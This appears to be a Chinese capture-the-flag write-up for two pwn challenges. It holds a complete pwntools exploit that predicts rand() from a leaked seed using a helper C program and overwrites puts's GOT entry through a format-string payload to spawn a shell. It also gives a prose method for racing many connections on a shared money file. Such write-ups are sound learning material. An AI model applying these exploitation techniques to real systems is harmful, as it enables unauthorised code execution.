ikun下载

人生重开下载

ikun——随机数的应对,双程序的应用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(log_level = "debug",arch = "amd64",os = "linux")
elf=ELF("./ikun")
puts_got = elf.got["puts"]
shell=elf.sym["realback"]
print(hex(shell))
offset = 12
print(hex(shell))
payload2 = fmtstr_payload(offset, {puts_got: shell})
s=process("./suiji")
p=process("./ikun")
payload1="kunaaaaaaaa@"
p.send(payload1)
p.recvuntil("@")
sand = u64(p.recvuntil('\x64')[-6:].ljust(8, b'\x00'))
s.sendline(str(sand))
for i in range(114):
t=s.recvline()
p.sendafter("do:(c/t/r/l)",t)
s.sendline()
p.sendafter("Input what you want to say",payload2)

p.interactive()

suiji为自行编写的c程序,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
unsigned int seed;
int random_number;
int i;
scanf("%u", &seed);
getchar(); //consume extra newline character
srand(seed);
for (i = 0; i <= 113; ++i)
{
random_number = rand() % 4;
if (random_number == 0)
{
printf("%c\n", 'c');
}
else if (random_number == 1)
{
printf("%c\n", 't');
}
else if (random_number == 2)
{
printf("%c\n", 'r');
}
else
{
printf("%c\n", 'l');
}
getchar(); //wait for user input to proceed to next iteration
}
return 0;
}

使用这样的程序嵌套,可以避免被一些绕过性的问题打断脚本

人生重开模拟器——调用文件时多次服务器连接造成漏洞

有三个函数调用了一个文件,漏洞就出自这里,由于在同一个端口,所以nc服务器以后会使用同一个文件,可以巧妙地利用文件操作,使其中一个窗口的钱数超过200万

img

初始钱数,这个函数会将money.txt中的钱置零,所以在使用多个窗口时,要先触发这个函数,跳过以后再执行

img

img

这个函数会根据参数增加钱数,保存到文件中

思路:

开20个窗口,全部进行到取名字以后

如果出现“你爸爸告诉你家里面很有钱”,直接把这个窗口关掉,不然会导致扣掉一百万

出现其他的字样,保留

随后我们就可以在剩余的窗口里面赚钱(初始的钱数也会叠加)

钱到达200万,创业,get shell